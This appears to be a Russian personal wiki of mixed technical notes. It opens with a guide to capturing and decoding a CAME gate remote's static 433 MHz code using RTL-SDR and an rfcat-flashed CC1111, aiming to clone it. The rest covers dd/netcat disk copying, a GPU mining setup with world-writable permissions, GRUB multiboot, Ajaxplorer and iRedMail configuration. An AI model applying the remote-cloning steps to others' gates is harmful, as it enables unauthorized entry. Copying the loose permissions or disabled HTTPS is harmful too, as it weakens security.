Для граббинга радиосигнала понадобится девайс - SDR (Software Defined Radio). Я купил за 7 долларов на aliexpress тюнер на базе RTL2832U+R820T2:

Для того чтобы воспроизвести сграбленный сигнал и записать его на “болванку” понадобится трансмиттер. У меня в закромах оказался трансмиттер TexasInstruments на базе чипа CC1111-F32. Он входил в состав комплекта для разработчиков MSP430 MCU ez Chronos, который в свое время был приобретен примерно за $140:

Вот сам трансмиттер:

У именно этого варианта есть один минус - у него нет разъема и провода для прошивки к нему нужно припаивать. Но оказалось, что нормальный девайс с разъемами стоит неприлично дорого (примерно $70).
Для того чтобы воспроизвести сграбленный сигнал в этот трансмиттер надо залить прошивку, которая может работать совместно с утилитой rfcat.
Для прошивания CC1111-F32 нужен программатор - SmartRF04, который стоит около 5 баксов:

Софт

- Для прослушивания эфира есть несколько разных тулзов. Под разные ОС. Для windows есть SDRSharp (SDR#), который без регистрации можно скачать, например, тут: http://airspy.com/download/
- Но я работаю под Ubuntu Linux и поэтому пользуюсь связкой rtl-sdr + GQRX.
- Для декодирования непосредственно из эфира можно пользоваться rtl_433. Эта утилитка слушает эфир и в реальном времени может декодировать битовые последовательности, а также знает некоторые протоколы и способна выдавать уже расшифрованные читабельные данные.
- Для прошивки CC1111 понадобится rfcat и

Подготовка CC1111 для работы с rfcat

Вот разводка пинов SmartRF04:

        * Chronos Dongle Details
    --------------------------------
    |                              |
    |         RST  1  2  TP         ------
    |         GND  3  4  VCC         USB |
    |     DC P2.2  5  6  P2.1 DD    ------
    | Chronos                      |
    --------------------------------

Chronos CC1111
PIN 

Name     PIN   Name
RST      1 2	
GND      3 4   Vcc
DC(P2.2) 5 6   DD(P2.1)

Прошивать можно утилитами от TexasInstruments - SmartRF Flash Programmer и SmartRF Studio или GoodFet.

Подготовка CC1111 для работы с rfcat сводится к прошивке последовательно двух файликов - bootloader и собственно прошивки.
Для этого:
1. Скачиваем архив rfcat и распаковываем его. Ставим SmartRF Flash Programmer в Windows 7. Драйверы для программатора должны установиться автоматически.
2. Подключаем/подпаиваем кабель от программатора к CC1111.
3. Подключаем CC1111 к разъему USB на компе с SmartRF Flash Programmer.
4. Подключаем кабель от CC1111 к программатору SmartRF.
5. Подключаем программатор SmartRF к разъему USB на компе с SmartRF Flash Programmer.
6. Запускаем SmartRF Flash Programmer. Софтина может попросить обновить фирмварь в программаторе SmartRF. Можно согласиться и выбрать в выпадающем списке “Update EB Firmware”.
7. Дальше в выпадающем списке выбираем “Program CCxxxx SoC or MSP430“
8. Убеждаемся, что программа корректно определила Chip Type и EB type
9. Дальше выбираем файл с прошивкой - rfcat_130515\firmware\bins\RfCatDonsCCBootloader-130515.hex и выбираем опцию Erase, program and verify и наконец жмем Perform actions

10. После прошивки Windows на пару секунд потеряет CC1111, но потом найдет снова.
11. Теперь нужно прошить второй файл - rfcat_130515\firmware\bins\RfCatDons-130515.hex. \\Повторяем прошивку, но теперь еще ставим галочку “Write protect boot block” и жмем Perform actions

12. Отключаем кабель от CC1111 и извлекаем его из USB.

Теперь CC1111 готов для работы с rfcat

Прошивка с помощью cctool

Из-под linux и MacOS прошивать СС1111 можно с помощью cctool. На всякий случай утащил к себе: cc-tool-0.26-src.tgz
Эта утилитка поддерживает китайский SmartRF04 (ID 11a0:eb20 Chipcon AS).

Ставим зависимости:

sudo apt-get install libusb-1.0 libboost-all-dev

Распаковываем и переходим в папку с cctool

cd cc-tool/

Копируем правила udev и рестартуем сервис:

sudo cp ./udev/90-cc-debugger.rules /etc/udev/rules.d/
sudo /etc/init.d/udev restart

Собираем и ставим:

./configure 
make
sudo make install

После этого подключаем CC1111 к SmartRF04EB и пробуем запустить. При запуске без параметров CC1111 моргнет лампочкой и прога определит программатор и сам девайс:

$ sudo cc-tool
Programmer: SmartRF04DD
Target: CC1111
No actions specified

Делаем бекап прошивки:

sudo cc-tool -r ./CC1111_USB_Chronos_backup.hex
Programmer: SmartRF04DD
Target: CC1111
Reading flash (32 KB)...
Completed (8.02 s.)

И дальше по очереди прошиваем RfCatChronos-150225.hex и RfCatChronosCCBootloader-150225.hex из папки распакованного rfcat - rfcat_150225/firmware/bins/.

  $ sudo cc-tool -v -e -w RfCatChronosCCBootloader-150225.hex 
  Programmer: SmartRF04DD
  Target: CC1111
  Erasing flash...
  Completed       
  Writing flash (14 KB)...
  Completed (4.41 s.)
  Verifying flash...
  Completed (0.66 s.)
  
  $ sudo cc-tool -v -e -w RfCatChronos-150225.hex
  Programmer: SmartRF04DD
  Target: CC1111
  Erasing flash...
  Completed       
  Writing flash (14 KB)...
  Completed (4.41 s.)
  Verifying flash...
  Completed (0.66 s.)

Если система говорит:

Error occured: libusb_control_transfer (out) failed, Pipe error

то в моем случае было достаточно нажать кнопку RESET на SmartRF04 и снова запустить cc-tool.

В результате прошивки CC1111 стал определяться так:

$ lsusb 
Bus 004 Device 009: ID 1d50:6047 OpenMoko, Inc.

Собираем и используем rfcat

На всякий случай ставим зависимости:

sudo apt-get install libusb-dev python-usb

Распаковываем, переходим в папку с rfcat и устанавливаем:

cd ~/rfcat_150225/
sudo python setup.py install

Копируем файлик с правилами udev из папки rfcat:

  sudo cp etc/udev/rules.d/20-rfcat.rules /etc/udev/rules.d
  sudo udevadm control --reload-rules

Теперь можем запустить:

rfcat -r

Первые попытки декодировать сигнал

Для того чтобы что-то передавать с помощью rfcat необходимо перехватить и декодировать сигнал.
Под декодированием я понимаю определение скорости передачи (baud rate) и информационного наполнения посылки.
Имеем - брелок CAME TOP 434NA на 433,92 MHz. 4 кнопки. Код - статический.
Подключаем тюнер, запускаем rtl_433 и смотрим:

rtl_433 -a

Тут параметр -a заставляет rtl_433 выводить то что перехвачено, без декодирования формата сообщений (просто программа знает форматы сообщений нескольких десятков устройств и способна в реальном времени декодировать посылаемую информацию).
Также можно поиграть с папаметром -l. Он задает уровень сигнала и по умолчанию равен 8000 и принимает значения до 32767.
Первая кнопка:

[00] {12} 75 60 : 01110101 0110

Вторая кнопка:

[00] {12} 75 50 : 01110101 0101

Третья кнопка:

[00] {12} 78 80 : 01111000 1000

Четвертая кнопка:

[00] {12} ef a0 : 11101111 1010

Судя по всему тут настроены две первые кнопки. И первые биты - это серийный номер брелка, а последние - команда.

Теперь попробуем записать эти же сигналы с помощью Gqrx и посмотрим на них в Audacity.

USB SDR с функцией передатчика

https://xakep.ru/2018/08/06/diy-sdr/
Оказалось, использовать в качестве передатчика можно и совсем не для этого придуманные устройства. А именно - адаптер USB-VGA на базе чипа Fresco Logic FL2000.

Links

http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/

http://leetupload.com/blagosphere/index.php/2014/02/16/you-know-how-to-send-my-signal-setting-up-rfcat-from-scratch/

http://v3gard.com/2014/12/hacking-garage-door-remote-controllers/

https://xakep.ru/2014/10/31/rtl-sdr-first-steps/

http://rtl-sdr.ru/

https://code.google.com/p/rfcat/downloads/list

http://www.wes.id.au/2013/07/decoding-and-sending-433mhz-rf-codes-with-arduino-and-rc-switch/ http://travisgoodspeed.blogspot.ru/2011/01/generic-cc1110-sniffing-shellcode-and.html http://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html

https://github.com/dominicgs/USBProxy-CC1111

http://blog.thelifeofkenneth.com/2011/04/reprogramming-ez430-chronos-rf-dongle.html

http://mightydevices.com/?p=300

Ликбез по схемам кодирования - ASK, OOK, PSK и прочее

Крутые хакерские девайсы https://greatscottgadgets.com/hackrf/

Декодирование Keeloq ASK с помощью GNU Radio

http://zr6aic.blogspot.ru/2013/05/how-to-do-afsk-and-psk-demodulation.html

когда-нету-configure

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Для того чтобы сгенерировать скрипт configure нужно:

sudo apt-get install libtool automake
libtoolize
aclocal
autoconf
automake --add-missing

А затем можно компилить как обычно:

$ ./configure
$ make
$ make install

Осторожно! при запуске autoscan может перезаписаться файл configurei.in . Возможно его придется восстановить из архива с исходниками.

конвертация-wiki

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

find ./ -name "*.cs" -exec ./a.out {} {}.doku \;  -print

копирование-дисков-по-сети-с-помощью-dd-со-сжатием-на- ...

anonymous@undisclosed.example.com (Anonymous) — Wed, 18 Sep 2024 14:26:07 +0000

Если мы хотим скопировать целиком диск, чтобы потом развернуть его, например, на виртуальной машине, то делаем так. На исходной машине загружаемся с Live-CD, потом набираем команду:

dd if=/dev/sda bs=16384 | pigz -c | ssh host "cat > /file_sda.gz"

Тут host - это удаленная машина на которую мы копируем содержимое диска /dev/sda в файл /file_sda.gz.

А потом можно загрузить целевую виртуальную машину с Live-CD и залить на ее диск содержимое образа. Выполнять это надо с хоста на который мы скопировали образ /file_sda.gz:

pigz -dc /file_sda.gz | ssh VMHost "dd of=/dev/sda"

Тут VMHost - это хост виртуальной машины, загруженный с Live-CD. /dev/sda - это диск на который мы разворачиваем образ.
Посмотреть прогресс выполнения можно послав процессу dd сигнал -USR1:

kill -USR1 $dd_PID

Тут $dd_PID - это PID процесса dd.

Чуть более сложный вариант:

nc -l 1234 | bzip2 -d|dd of=/tmp/image.img bs=4096
dd if=/dev/sda bs=4096| bzip2 -9 | nc 1.2.3.4 1234

Вот так просто и хорошо получается сжатие, передача и распаковка в одном конвейере:

dd if=/dev/sda bs=16384 | pigz -c | ssh username@hostname "pigz -cd | dd of=/dev/sda bs=16384"

Копирование директории со сжатием на лету

tar -cvzf - ./LLMBackstage | ssh teamcity tar -xvzf -

маиним-на-ubuntu-desktop-12-04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Несколько слов о видеокартах.
Для 7970 оптимальным соотношением частот GPU/Mem мне кажется 0.57
Для 7950 оптимальное соотношение - 0,68

Теперь про майнинг.
1. Устанавливаем Ubuntu.
2. Ставим SSH:

sudo apt-get update && sudo apt-get install ssh

3. Ставим vnc4server

sudo apt-get update && sudo apt-get install vnc4server

Запускаем vnc4server первый раз, чтобы задать пароль:

vncserver :1 -geometry 1024x768 -depth 16 -pixelformat rgb565

Прописываем в /etc/rc.local загрузку его при старте - перед добавляем exit 0 строку:

su -l $USER -c "vncserver :1 -geometry 1024x768 -depth 16 -pixelformat rgb565"

Где $USER - заменяем на имя пользователя

Теперь после перезагрузки у нас будет работать VNC на порту 5901.

4. Ставим драйверы и необходимый софт:
Подготовка:

sudo apt-get install build-essential cdbs fakeroot dh-make debhelper debconf libstdc++6 dkms libqtgui4 wget execstack libelfg0 dh-modaliases linux-headers-generic xserver-xorg-core libgcc1 lib32gcc1 libc6 screen

sudo apt-get install fglrx g++ libboost-all-dev python-numpy thunar openbox tint2 obmenu menu screen

Распаковываем архив с драйвером и создаем пакеты:

sh amd-catalyst-13.4-linux-x86.x86_64.run --buildpkg Ubuntu/raring

Устанавливаем сгенерированные пакеты:

sudo dpkg -i fglrx*.deb

Создаём конфигурационный файл видео драйвера:

sudo amdconfig --initial -f --adapter=all

Перезагружаемся.

5. Скачиваем AMD-APP-SDK-v2.7-lnx64.tgz и ставим AMDSDK:

tar -xvf AMD-APP-SDK-v2.7-lnx64.tgz
sudo ./Install-AMD-APP.sh

Оно установится в папку /opt/AMDAPP/

Перезагружаемся.

6. Скачиваем pyopencl-2013.1.tar.gz и ставим pyopencl-2013.1:

tar -xvf pyopencl-2013.1.tar.gz
cd pyopencl-2013.1
sudo apt-get install python-setuptools
rm ./siteconf.py
./configure.py --cl-inc-dir=/opt/AMDAPP/include/ --cl-lib-dir=/opt/AMDAPP/lib/x86_64
make
sudo make install

7. Скачиваем python-jsonrpc.tar.gz и ставим python-jsonrpc:

tar -xvf python-jsonrpc.tar.gz
cd ./python-jsonrpc
sudo python setup.py install

8. Скачиваем cgminer и распаковываем его:

wget http://ck.kolivas.org/apps/cgminer/cgminer-3.4.2-x86_64-built.tar.bz2
tar -xvf cgminer-3.4.0-x86_64-built.tar.bz2
sudo mv ./cgminer-3.4.0-x86_64-built/ /opt/cgminer

9.Для разгона карт скачиваем и ставим adl3-0.3 - https://github.com/mjmvisser/adl3

tar -xvf adl3-0.3.tar.gz
cd adl3-0.3/
sudo python setup.py install

10. Создадим скрипт для разгона карты и старта майнинга - /opt/mine

#!/bin/sh


export DISPLAY=:0 && export GPU_USE_SYNC_OBJECTS=1 && export GPU_MAX_ALLOC_PERCENT=100
logger "Start mining"
#atitweak --adapter=0 --set-engine-clock=990 --set-memory-clock=300  --set-core-voltage=1.165 --set-fan-speed=100

#7950
/usr/local/bin/atitweak --adapter=1 --set-engine-clock=1030 --set-memory-clock=1500 --set-fan-speed=100
#7950
/usr/local/bin/atitweak --adapter=2 --set-engine-clock=1030 --set-memory-clock=1500 --set-fan-speed=100

#6930
/usr/local/bin/atitweak --adapter=0 --set-engine-clock=910 --set-fan-speed=100 --set-memory-clock=1400


#litecoin pool-x.eu
export DISPLAY=:0 && export GPU_USE_SYNC_OBJECTS=1 && export GPU_MAX_ALLOC_PERCENT=100 && cd /opt/cgminer/ && touch 1.bin && rm *.bin &&
screen -d -m /opt/cgminer/cgminer --intensity 20 --thread-concurrency 8192,24576,24576 --lookup-gap 2 -o http://mine.pool-x.eu:9000 -u MikeQ.223 -p xxx --scrypt  --shaders 1280,1792,1792  --worksize 256 -g 1

#exit 0

Сделаем его исполняемым:

sudo chmod a+rwx /opt/mine
sudo chmod a+rwx /opt/cgminer/ -R

Немного заключительных штрихов:

 sudo chmod a+rwx /opt/cgminer

11. В файл ./.vnc/xstartup пропишем его запуск. Добавим строку:

/opt/mine &

12. Перезагружаемся. После перезагрузки в консоли можно набрать:

screen -r

и увидеть cgminer

13. Чтобы в случае зависания и последующей жесткой перезагрузки Ubuntu не останавливалась на меню GRUB нужно отключить recordfail. Эта функция позволяет отследить некорректное завершение загрузки и предотвратить циклическую перезагрузку, останавливая таймер в меню GRUB.
Редактируем файл /etc/grub.d/00_header. В нем находим кусочек, который формирует в файле /boot/grub/grub.cfg проверку recordfail:

make_timeout ()
{
    cat << EOF
if [ "\${recordfail}" = 1 ]; then
  set timeout=-1 # This tells Grub to wait the keystroke choose
else
  set timeout=${2}
fi
EOF
}

Заменяем set timeout=-1 на set timeout=0:

make_timeout ()
{
    cat &lt;&lt; EOF
if [ "\${recordfail}" = 1 ]; then
  set timeout=0 # Here we can just wait 10 seconds 
else
  set timeout=${2}
fi
EOF
}

Для того чтобы изменения вступили в силу - запускаем обновление скриптов GRUB:

sudo update-grub

Все.

мультизагрузочная_флешка_с_помощью_grub

anonymous@undisclosed.example.com (Anonymous) — Thu, 11 May 2023 11:22:44 +0000

Мультизагрузочная Linux-флешка

Тут описана процедура создания флешки для загрузки множества iso-образов на компьютерах с BIOS. На компьютерах с UEFI она не работает. Для компов с UEFI я делал Универсальную загрузочную флешку для BIOS/UEFI.
Хорошо иметь под рукой флешку, с которой можно загрузиться для восстановления или установки системы. Также хорошо бы чтобы на ней помещались несколько разных образов ISO, доступных из меню. Создать такую флешку можно с помощью специализированных программных средств как под Linux ( Multisystem) так и под Windows (XBOOT), и даже мультиплатформенных (Yumi). Но можно пойти true linux way™ и использовать GRUB.

Создание и форматирование раздела

Сначала нужно создать на флешке раздел и сделать его загрузочным. Запускаем fdisk и натравливаем его на нашу флешку. Нижеприведенные команды делаем с правами root. Список дисков смотрим командой:

fdisk -l

Запускаем fdisk (указав свою флешку):

fdisk /dev/sdx

Если на диске есть разделы, то ликвидируем их. Для этого жмем d
После удаления разделов жмем n и создаем новый.
В процессе создания указваем что раздел p (primary).
После создания жмем a, чтобы сделать раздел активным.
Затем жмем t, чтобы задать тип раздела и вводим тип c (FAT32).
Жмем w и записываем изменения на флешку.

Теперь надо отформатировать созданный раздел в FAT32:

umount /dev/sdx1
mkfs.vfat -F 32 -n MULTIBOOT /dev/sdx1

Установка загрузчика GRUB

Дальше ставим GRUB2 на флешку.
Создаем точку монтирования и монтируем флешку (не забываем sdx менять на актуальные буквы, соотвествующие флешке):

sudo mkdir /mnt/USB && sudo mount /dev/sdx1 /mnt/USB

Устанавливаем GRUB (выполняем с правами root):

sudo grub-install --force --no-floppy --boot-directory=/mnt/USB/boot /dev/sdx

nano /mnt/USB/boot/grub/grub.cfg

И заполняем его примерно так:

set timeout=10
set default=0

menuentry "KNOPPIX_V7.2.0CD-2013-06-16-EN LiveCD" {
loopback loop /KNOPPIX_V7.2.iso
#linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V7.2.iso acpi=off keyboard=us language-us
linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V7.2.iso keyboard=us language-us
initrd (loop)/boot/isolinux/minirt.gz
}

menuentry "SystemRescueCd 4.6.1 Live (64bit, cache all files in memory and startX)" {
 loopback loop /systemrescuecd.4.6.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd.4.6.1.iso setkmap=us docache dostartx
 initrd (loop)/isolinux/initram.igz
}

menuentry "SystemRescueCd 4.6.1 Live (64bit, default boot options)" {
 loopback loop /systemrescuecd.4.6.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd.4.6.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}
  
menuentry "SystemRescueCd 4.6.1 Live (32bit, default boot options)" {
 loopback loop /systemrescuecd.4.6.1.iso
 linux (loop)/isolinux/rescue32 isoloop=/systemrescuecd.4.6.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry "Ubuntu 14.04.3 x64 Desktop with GNOME. Live and Install" {
 loopback loop /ubuntu-14.04.3-desktop-amd64.iso
 linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/ubuntu-14.04.3-desktop-amd64.iso quiet splash
 initrd (loop)/casper/initrd.lz
}

menuentry "Kubuntu 14.04.3 x64 Desktop with KDE. Live and Install" {
 loopback loop /kubuntu-14.04.3-desktop-amd64.iso
 linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/kubuntu-14.04.3-desktop-amd64.iso quiet splash
 initrd (loop)/casper/initrd.lz
}

menuentry "Xubuntu 14.04.3 x64 Desktop with LXDE. Live and Install" {
        loopback loop /xubuntu-14.04.3-desktop-amd64.iso
        linux   (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/xubuntu-14.04.3-desktop-amd64.iso quiet splash --
        initrd  (loop)/casper/initrd.lz 
}

menuentry "Ubuntu 14.04.3 x64 Server" {
        loopback loop /ubuntu-14.04.3-server-amd64.iso
	linux	(loop)/install/vmlinuz iso-scan/filename=/ubuntu-14.04.3-server-amd64.iso quiet --
	initrd	(loop)/install/initrd.gz
}

menuentry "CentOS 7 03.15 x64 Install" {
        loopback loop /CentOS-7-x86_64-Minimal-1503-01.iso
	linux	(loop)/isolinux/vmlinuz noeject inst.stage2=hd:LABEL=MIKEBOOT:/CentOS-7-x86_64-Minimal-1503-01.iso
	initrd	(loop)/isolinux/initrd.img
}

menuentry "SystemRescueCd 4.8.1 Live (64bit, default boot options)" {
 loopback loop /systemrescuecd-x86-4.8.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd-x86-4.8.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry "Try Xubuntu x64 16.04.1 without installing" {
        loopback loop /xubuntu-16.04.1-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz.efi iso-scan/filename=/xubuntu-16.04.1-desktop-amd64.iso file=(loop)/preseed/xubuntu.seed boot=casper quiet splash ---
	initrd	(loop)/casper/initrd.lz
}
menuentry "Install Xubuntu 16.04.1 x64" {
        loopback loop /xubuntu-16.04.1-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz.efi iso-scan/filename=/xubuntu-16.04.1-desktop-amd64.iso file=(loop)/preseed/xubuntu.seed boot=casper only-ubiquity quiet splash ---
	initrd	(loop)/casper/initrd.lz
}

menuentry "Install Xubuntu 16.04.1 i386" {
        loopback loop /xubuntu-16.04.1-desktop-i386.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz iso-scan/filename=/xubuntu-16.04.1-desktop-i386.iso file=(loop)/preseed/xubuntu.seed boot=casper only-ubiquity quiet splash ---
	initrd	(loop)/casper/initrd.lz
}

menuentry "Install Ubuntu Server 16.04.2 {
    loopback loop /ubuntu-16.04.2-server-amd64.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz file=/cdrom/preseed/ubuntu-server.seed quiet ---
	initrd	(loop)/install/initrd.gz
}

menuentry "Fedora-Workstation-Live 25" {
 loopback loop /Fedora-Workstation-Live-x86_64-25-1.3.iso
 linux (loop)/isolinux/vmlinuz iso-scan/filename=/Fedora-Workstation-Live-x86_64-25-1.3.iso root=live:CDLABEL=Fedora-WS-Live-25-1-3 rd.live.image quiet rootfstype=auto ro rhgb rd.luks=0 rd.md=0 rd.dm=0
 initrd (loop)/isolinux/initrd.img
}

menuentry "Fedora-KDE-Live 25" {
 loopback loop /Fedora-KDE-Live-x86_64-25-1.3.iso
 linux (loop)/isolinux/vmlinuz iso-scan/filename=/Fedora-KDE-Live-x86_64-25-1.3.iso root=live:CDLABEL=Fedora-KDE-Live-25-1-3 rd.live.image quiet rootfstype=auto ro rhgb rd.luks=0 rd.md=0 rd.dm=0
 initrd (loop)/isolinux/initrd.img
}

menuentry "Install Kubnuntu 16.04.2 Desktop" {
        loopback loop /kubuntu-16.04.2-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz.efi  iso-scan/filename=/kubuntu-16.04.2-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd.lz
}

Этот содержит конфигурацию для загрузки с флешки KNOPPIX 7.2, SystemRescueCd 4.6.1, различных вариантов Ubuntu и CentOS 7. А дальше осталось просто положить указанные в grub.cfg образы ISO в корневую директорию флешки и переименовать их как указано в файле.

Еще немного примеров

menuentry "Linux Mint ISO" {
 loopback loop /linuxmint.iso
 linux (loop)/casper/vmlinuz file=/cdrom/preseed/mint.seed boot=casper initrd=/casper/initrd.l iso-scan/filename=/linuxmint.iso noeject noprompt splash --
 initrd (loop)/casper/initrd.lz
}

menuentry "DBAN ISO" {
 loopback loop /dban.iso
 linux (loop)/DBAN.BZI nuke="dwipe" iso-scan/filename=/dban.iso silent --
}
                                                                                                                                                                            
menuentry "Tinycore ISO" {                                                                                                                                                                      
 loopback loop /tinycore.iso 
 linux (loop)/boot/bzImage --
 initrd (loop)/boot/tinycore.gz
}

menuentry "Memtest 86+" {
 linux16 /memtest86+.bin
}

menuentry "Debian 9.5 i386 Install" {
    set background_color=black
    loopback loop /debian-9.5.0-i386-netinst.iso
    linux    (loop)/install.386/vmlinuz vga=788 --- quiet 
    initrd   (loop)/install.386/initrd.gz
}

menuentry "Install Kubnuntu 19.04 Desktop" {
    loopback loop /kubuntu-19.04-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-19.04-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd
}

menuentry "Install Ubnuntu 20.04 Server" {
    insmod part_gpt
    insmod ext2
    insmod search_fs_uuid
    rmmod tpm

    search --no-floppy --set=root --fs-uuid 36c1a912-77c7-4cec-8120-c2088e1e131c
    
    set isofile="/ubuntu-20.04-live-server-amd64.iso"
    set gfxpayload=keep
    
    loopback loop ($root)$isofile

	linux	(loop)/casper/vmlinuz iso-scan/filename=${isofile} quiet ---
	initrd	(loop)/casper/initrd
}

menuentry "Install Ubnuntu 21.10 Server" {
    set gfxpayload=keep
    set isofile="/ubuntu-21.10-live-server-amd64.iso"
    
    loopback loop ($root)$isofile

	linux	(loop)/casper/vmlinuz iso-scan/filename=${isofile} quiet ---
	initrd	(loop)/casper/initrd
}

menuentry "Install Ubuntu Server 16.04 i386" {
    loopback loop /ubuntu-16.04.6-server-i386.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz isoloop=/ubuntu-16.04.6-server-i386.iso file=/cdrom/preseed/ubuntu-server.seed quiet splash ---
	initrd	(loop)/install/initrd.gz
}

menuentry 'Debian 10 i386 Install' {
    set background_color=black
    loopback loop /debian-edu-10.0.0-i386-netinst.iso
    linux    (loop)/install.386/gtk/vmlinuz findiso=/debian-edu-10.0.0-i386-netinst.iso modules=debian-edu-install-udeb desktop=xfce vga=788 --- quiet 
    initrd   (loop)/install.386/gtk/initrd.gz
}

Добавление других образов ISO

Для добавления других образов ISO нужно в файлик /boot/grub/grub.cfg прописывать параметры, которые обычно можно найти в файлах grub.cfg, syslinux.cfg и других, входящих в состав образа ISO.
То есть создаем новый раздел меню в /boot/grub/grub.cfg (копируя уже существующий), затем указываем файл ISO в строке loopback, а в строку linux указываем путь к ядру (то что append из syslinux.cfg). В строке initrd указываем путь к файлу initrd.

Скорее всего, в строке linux после пути к файлу ядра придется указать параметры загрузки ядра, которые позволят ядру работать с loop-устройством, на которое монтируется файл ISO. Для систем со схожим ядром, параметры, как правило, одинаковые. Например, для загрузки Fedora подойдут параметры от CentOS.

Много обновляемой информации о загрузке ISO образов с помощью GRUB можно тут: https://wiki.archlinux.org/index.php/Multiboot_USB_drive

Загрузка установочных образов Windows 7 и Windows 10 c помощью GRUB

Монтируем iso-образ Windows 7 или Windows 10, копируем с него все файлы на флешку с помощью cp или rsync и дописываем в grub.cfg такое:

set timeout=10
set default=0

menuentry "Windows 7 or Windows 10 installer" --class windows --class os {
    insmod part_msdos
    insmod ntfs
    insmod ntldr
    search --no-floppy --label MULTIBOOT --set=root
    ntldr /bootmgr
}

Тут grub будет загружать модули с помощью insmod, потом search - искать раздел с меткой MULTIBOOT и когда найдет - с помощью –set укажет, что root находится на этом разделе, а затем передаст управление /bootmgr

В принципе, для красоты и удобства, было бы неплохо создать отдельный раздел на флешке (так я поступил при создании нового варианта флешки - Универсальная загрузочная флешка для BIOS/UEFI), отформатировать его с меткой Win7, распаковать файлы из iso-образа туда и указывать –label Win7. Просто в дистрибутиве windows также есть директоррия boot и если понадобится очистить флешку от инсталлятора windows, не затрагивая остальные ОС, то из этой директории файлы придется удалять вручную.

настроика-ajaxplorer-из-команднои-строки

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Вообще доступные действия описаны в xml файлах, например - plugins/access.fs/fsActions.xml

Создание репозитория Ajaxplorer

php ./cmd.php -u=admin -p=XXXX -r=ajxp_conf -a=create_repository --DISPLAY=Test3 --DRIVER=demo --DRIVER_OPTION_PATH=/data/ftp/Test3 --DRIVER_OPTION_CREATE=false --DRIVER_OPTION_RECYCLE_BIN=recycle_bin

или вот более полный вариант:

php -q cmd.php -u=admin -p=XXXX -s=log.txt -a=create_repository -r=ajxp_conf --DISPLAY=bla --DRIVER=fs --DRIVER_OPTION_PATH=/bla --DRIVER_OPTION_PATH_ajxptype=string --DRIVER_OPTION_CREATE=true --DRIVER_OPTION_CREATE_ajxptype=boolean --DRIVER_OPTION_CHMOD_VALUE=0666 --DRIVER_OPTION_CHMOD_VALUE_ajxptype=string --DRIVER_OPTION_PURGE_AFTER=0 --DRIVER_OPTION_PURGE_AFTER_ajxptype=integer --DRIVER_OPTION_DATA_TEMPLATE= --DRIVER_OPTION_DATA_TEMPLATE_ajxptype=string --DRIVER_OPTION_RECYCLE_BIN=recycle_bin --DRIVER_OPTION_RECYCLE_BIN_ajxptype=string --DRIVER_OPTION_CHARSET= --DRIVER_OPTION_CHARSET_ajxptype=string --DRIVER_OPTION_PAGINATION_THRESHOLD=500 --DRIVER_OPTION_PAGINATION_THRESHOLD_ajxptype=integer --DRIVER_OPTION_PAGINATION_NUMBER=200 --DRIVER_OPTION_PAGINATION_NUMBER_ajxptype=integer --DRIVER_OPTION_AJXP_SLUG= --DRIVER_OPTION_AJXP_SLUG_ajxptype=string --DRIVER_OPTION_DEFAULT_RIGHTS=

Задание прав на папку для юзера ajaxplorer

php cmd.php -u=admin -p=pass -r=ajxp_conf -a=edit --sub_action=update_user_right --user_id=user --repository_id=27458d28e3a3e632fde3241b83959009 --right=rw

настроика-iredmail-on-turnkey-lamp-template

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

turnkey-init
apt-get update && apt-get install bzip2 postfix-policyd python libapache2-mod-python 
wget https://bitbucket.org/zhb/iredmail/downloads/iRedMail-0.8.1.tar.bz2
tar -xvf iRedMail-0.8.1.tar.bz2
cd iRedMail-0.8.1/
bash ./pkgs/get_all.sh
bash ./iRedMail.sh
/etc/init.d/slapd restart
/etc/init.d/mysql restart
/etc/init.d/postfix restart
/etc/init.d/iredapd restart
/etc/init.d/dovecot restart
/etc/init.d/apache2 restart

Увеличение размера вложений

1) Увеличиваем размер писем в postfix

# postconf -e message_size_limit='41943040'

2) Меняем в файле /etc/php5/apache2/php.ini параметры:

u
upload_max_filesize = 100M;
post_max_size = 120M;
memory_limit = 512

3) Настраиваем Roundcube -/usr/share/apache2/roundcubemail-0.7.2/.htaccess меняем параметры

php_value upload_max_filesize 40M
php_value post_max_size 40M
php_value memory_limit 256M

4) Применяем параметры и перезагружаем сервер

5) Настройки iredmail по-умолчанию хранятся в файле /usr/share/apache2/roundcubemail/config/main.inc.php
Например вот так можно отключить обязательно перенаправление https:

$rcmail_config['force_https'] = false;

настроика-доступа-к-базе-ms-sql-из-проекта-на-go-lang

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Что нужно для доступа к базе MS SQL из проекта Go

Нужно установить unixODBC и SQL Driver.
А потом проверить что все работает.
Тут описана процедура, позволившая работать с MS SQL 2008 R2.

unixODBC

